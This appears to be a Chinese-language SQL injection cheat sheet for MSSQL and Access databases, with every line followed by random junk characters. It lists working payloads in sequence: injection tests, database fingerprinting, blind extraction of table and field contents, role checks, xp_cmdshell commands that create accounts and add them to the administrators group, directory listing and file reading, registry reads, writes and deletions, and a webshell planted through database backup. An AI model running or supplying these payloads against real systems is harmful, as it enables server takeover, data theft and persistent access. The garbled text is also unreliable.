1.判断是否有注入;and 1=1 ;and 1=2 |?,A]|j
2.初步判断是否是mssql ;and user>0 qm/)ku0
4y|BOVl
3.注入参数是字符'and [查询条件] and ''=' $g>IyT[
aAD^^l#
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ]n6#VTz*
]s<[D$ <,
5.判断数据库系统 t'n pG}`tE
-XB/lnG
;and (select count(*) from sysobjects)>0 mssql A^USBv+9`
JMC. w!
;and (select count(*) from msysobjects)>0 access fp`;U_-&0
;ub;lh 3
+S o4rA*9
Ayxkv)%:@)
6.猜数据库 ;and (select Count(*) from [数据库名])>0 uXn1
'K<'2
uvkz'R=
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 c2l@6<Ww
0XE4<U
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 eA2@Nkw~)
%)1y AdG
8
9.(1)猜字段的ascii值(access) CsGx@\jN
v[1aWv:
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 :D~D U,e'
-t!~%_WCv
(2)猜字段的ascii值(mssql) ekWD5,G
O%Xf!4Z
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 d;boIP`M;
~vm%6CABM
10.测试权限结构(mssql) Z^3rLCa
Fs9!S a7v
(C\]-E>
f6hnTbJ
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- +$ 'Zf0U
&u$Q4
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 'DP1,7
75T%g!c#
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Tp?7_}tRi
oH97=>
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ,wQ5.U,
DhKS
pA
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 'j#*6xD
C0T;![/4A
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- (KjoSN(
K
igCZ|Ru\
;and 1=(select IS_MEMBER('db_owner'));-- W=N+VqK
5-:?&|JK;
rBQ _iB_
3dg1DR;
11.添加mssql和系统的帐户 ^O?/yV?4c
!|S(Ms
;exec master.dbo.sp_addlogin username;-- 8W*%aOi5+
;exec master.dbo.sp_password null,username,password;-- =W(Q34
dm\F
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- $*^7iT4q_t
<}C
oQz
;exec master.dbo.xp_cmdshell 'net user username password '$i:
2mn,
?1~` *LE
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 03$mYS_?
R`NYEptJ
;exec master.dbo.xp_cmdshell 'net user username password /add';-- t%d Z-Ym
B6MB48#0gs
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- T6\[iJI|
(nQ^
p$S*dr
;AG8C#_
12.(1)遍历目录 y6(Z`lx
u|\1hLXX
;create table dirs(paths varchar(100), id int) 3#LlDC_WC
%z=le7
;insert dirs exec master.dbo.xp_dirtree 'c:\' E>6MeO
zVViLUwG
;and (select top 1 paths from dirs)>0 5%Y3 Kwyy
{&&z-^
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ?g_3 [Fk
W: z6Koc0
'TTLo|@"-
Xr,1&"B&t
(2)遍历目录 G<L;4nA)
yuh *
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ik)|{%!K]H
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 X]ipI$'+C
x+\`gK5
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 2=*H 8'k
OAgniLv
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 9SX +
AP3a;4Z#
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ahusta
y6g&Y.:o
cn3#R.G~
M[NV)q/)
13.mssql中的存储过程 j
*
%
'NWfBJm
xp_regenumvalues 注册表根键, 子键 &h}#HS>l
iDpSj!x/_
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 mVj9 ,q0
./\@Km?
xp_regread 根键,子键,键值名 y'3rNa]G1
2R[:]-b
;exec xp_regread sU=H&D99
D(~U6SR
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 %Tfbsyf%f
]=\].% >
xp_regwrite 根键,子键, 值名, 值类型, 值 H%[eV8
C"y(5U)d
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 dn&s*
#NQMy:JHD)
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 .j ?W>F
!Z1@}`V&;
xp_regdeletevalue 根键,子键,值名 0j^Kgx
B`EJb71^Xy
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 l5~os>
d9k0F
OR1
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ]a>n:p]e
1a/++4O.|
YX!iL6?~
N"Z{5A
14.mssql的backup创建webshell
2IK}vDsis
%U/(|wodd
use model %[GsD9_-
9[#pIPxNK
create table cmd(str image); |NlO7aQ>2H
~?l |
[
insert into cmd(str) values (''); zOJ%}
)7hqJa-V
backup database model to disk='c:\l.asp'; Xu{1".\
z[N`s$;
&w\{TZ{
::`HQ@^
15.mssql内置函数 G0Iw-vf
M*0]ai|;
;and (select @@version)>0 获得Windows的版本号 &s(^@OayE
P1!qbFDv8
;and user_name()='dbo' 判断当前系统的连接用户是不是sa )705V|v
Zj(AJ* r
;and (select user_name())>0 爆当前系统的连接用户 X;$+,&M"
\$K20)
;and (select db_name())>0 得到当前连接的数据库 5%"V[lDx@
F~-(:7j
u* eV@KK!
/l3V3B7
16.简洁的webshell GblA9F7
Y/F6\oh
use model 8|gIhpO?^
[+Iz@0q
create table cmd(str image); Zpt\p7WQ
Cp\6W[2+B
insert into cmd(str) values (''); poE0{HOU
hW<%R]^|
backup database model to disk='g:\wwwtest\l.asp';